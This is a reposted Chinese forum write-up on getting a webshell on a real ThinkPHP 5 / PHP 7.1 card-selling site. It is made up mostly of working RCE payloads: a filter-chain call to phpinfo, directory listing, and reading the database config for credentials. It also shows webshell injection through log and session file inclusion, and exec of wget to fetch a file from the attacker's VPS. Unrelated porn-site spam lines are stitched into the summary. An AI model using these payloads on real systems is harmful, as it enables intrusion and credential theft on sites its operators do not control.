taibeihacker
Moderator
0x00 前言
之前接觸tp5的站比較少,只知道利用RCE漏洞getshell的方式。在最近對一個發卡平台滲透的過程中,由於php版本限制,無法直接使用RCE的payload拿shell,於是結合該網站盡可能多的測試一下tp5+php7.1環境下的getshell方法。0x02 正文
拿到站點後,訪問首頁如下
測試中,發現是thinkphp的站,報錯如下

不過看不出來具體版本,不確定是否存在RCE,於是用exp打一下試試
_method=__constructmethod=getfilter=call_user_funcget[]=phpinfo

發現執行成功了,disable_function禁用了挺多函數

一般php版本低於7.1的情況下,接下來直接用exp寫shell就可以了方法一直接用下面的exp寫shell
s=file_put_contents('test.php','?php phpinfo();')_method=__constructmethod=POSTfilter[]=assert
但是這個exp中使用了assert,而上面看到php版本是7.1.33,這個版本是已經沒辦法使用assert了,所以這裡這個方法是不能用的
方法二上面的exp沒辦法寫shell,但是phpinfo是執行了的,那麼RCE是存在的。於是想到可以通過讀取文件讀取數據庫的賬號密碼,然後找到phpmyadmin,就可以通過數據庫寫shell。
於是首先通過phpinfo中的信息找到網站根目錄,再使用scandir函數遍歷目錄,找到數據庫配置文件
_method=__constructfilter[]=scandirfilter[]=var_dumpmethod=GETget[]=路徑

然後通過highlight_file函數讀取文件
_method=__constructfilter[]=highlight_filemethod=GETget[]=讀取的文件路徑

拿到數據庫信息後,找看看是否存在phpmyadmin,最終發現沒有,於是這種方法也失敗。
在論壇搜索tp5的getshell方法,發現不少師傅說到可以用日誌包含或者session包含的方法,但是之前沒接觸過,不知道具體的,於是搜索嘗試一下。
方法三嘗試日誌包含
首先寫shell進日誌
_method=__constructmethod=getfilter[]=call_user_funcserver[]=phpinfoget[]=?php eval($_POST['c'])?
然後通過日誌包含來getshell
_method=__constructmethod=getfilter[]=think\__include_fileserver[]=phpinfoget[]=./data/runtime/log/202110/17.logc=phpinfo();

失敗了,這裡日誌包含的方法也不可用
方法四嘗試使用session包含的方法來getshell
首先通過設置session會話並傳入一句話木馬
_method=__constructfilter[]=think\Session:setmethod=getget[]=?php eval($_POST['c'])?server[]=1

然後直接利用文件包含去包含session文件,tp5的session文件一般都是在/tmp下面,文件名為sess_sessionid(這個sessionod在Cookie裡面)
_method=__constructmethod=getfilter[]=think\__include_fileserver[]=phpinfoget[]=/tmp/sess_ejc3iali7uv3deo9g6ha8pbtoic=phpinfo();

成功執行,接下來通過蟻劍連接即可

成功getshell

www權限

方法五上面拿到了shell,但是我還是再嘗試了是否還有其他方法能getshell的。看到一篇文章,是由於disable_function中沒有禁用exec,然後利用exec從vps下載shell文件。
於是我仔細看了下disable_function中禁用的函數,巧了,發現也沒有禁用exec,那麼試一下
首先在vps上創建一個test.php,並用python開放一個端口
python -m SimpleHTTPServer 8888

從vps上下載文件
s=wget vps/test.php_method=__constructmethod=getfilter[]=exec

成功下載到目標機器上
0x03 总结
1.目標網站路徑上輸入錯誤的路徑,顯示網站錯誤頁面是thinkphp,沒有顯示版本2.輸入tp5.x的RCE poc,顯示phpinfo成功,且disable_function禁用了很多函數以及php版本為7.1.x版本
XXX.com - XXX Sex Videos - Free Porn Movies
XXX Sex Videos - Free Porn Movies at XXX.com

_method=__constructmethod=getfilter=call_user_funcget[]=phpinfo
3.下面方法可直接獲得到shell(tp5.x+php7.1.x)
方法一:(php要求低於php7.1)
XXX.com - XXX Sex Videos - Free Porn Movies
XXX Sex Videos - Free Porn Movies at XXX.com

s=file_put_contents('test.php','?php phpinfo();')_method=__constructmethod=POSTfilter[]=assert(
方法二:(tp5.x+php7.1.x)
首先通過phpinfo中的信息找到網站根目錄,再使用scandir函數遍歷目錄,找到數據庫配置文件
_method=__constructmethod=getfilter=call_user_funcget[]=phpinfo //顯示網站目錄為/www/wwwroot/idj/,且目錄遍歷獲取到網站配置根目錄(/www/wwwroot/idj/data/conf )下存在數據庫連接的php為database.php
_method=__constructfilter[]=scandirfilter[]=var_dumpmethod=GETget[]=/www/wwwroot/
_method=__constructfilter[]=scandirfilter[]=var_dumpmethod=GETget[]=/www/wwwroot/idj/
_method=__constructfilter[]=scandirfilter[]=var_dumpmethod=GETget[]=/www/wwwroot/idj/data/
_method=__constructfilter[]=scandirfilter[]=var_dumpmethod=GETget[]=/www/wwwroot/idj/data/conf
然後通過highlight_file函數讀取文件,並讀取到數據庫的連接用戶名和密碼
_method=__constructfilter[]=highlight_filemethod=GETget[]=/www/wwwroot/idj/data/conf/database.php
如果能找到該網站存在phpmyadmin,就可以通過數據庫用戶和密碼進入,並通過mysql log寫入shell
方法三:(tp5.x+php7.1.x,日誌包含)
首先寫shell進日誌
_method=__constructmethod=getfilter[]=call_user_funcserver[]=phpinfoget[]=?php eval($_POST['c'])?
然後通過日誌包含來getshell
_method=__constructmethod=getfilter[]=think\__include_fileserver[]=phpinfoget[]=./data/runtime/log/202110/17.logc=phpinfo();
方法四:(tp5.x+php7.1.x,使用session包含的方法來getshe)
首先通過設置session會話並傳入一句話木馬
_method=__constructfilter[]=think\Session:setmethod=getget[]=?php eval($_POST['c'])?server[]=1
然後直接利用文件包含去包含session文件,tp5的session文件一般都是在/tmp下面,文件名為sess_sessionid(這個sessionod在Cookie裡面)
_method=__constructmethod=getfilter[]=think\__include_fileserver[]=phpinfoget[]=/tmp/sess_ejc3iali7uv3deo9g6ha8pbtoic=phpinfo();
方法四:(tp5.x+php7.1.x,disable_function中沒用禁用exec函數)
首先在vps上創建一個test.php,並用python開放一個端口
python -m SimpleHTTPServer 8888
從vps上下載文件
s=wget http://www.vps.com/test.php_method=__constructmethod=getfilter[]=exec
原文鏈接:https://xz.aliyun.com/t/10397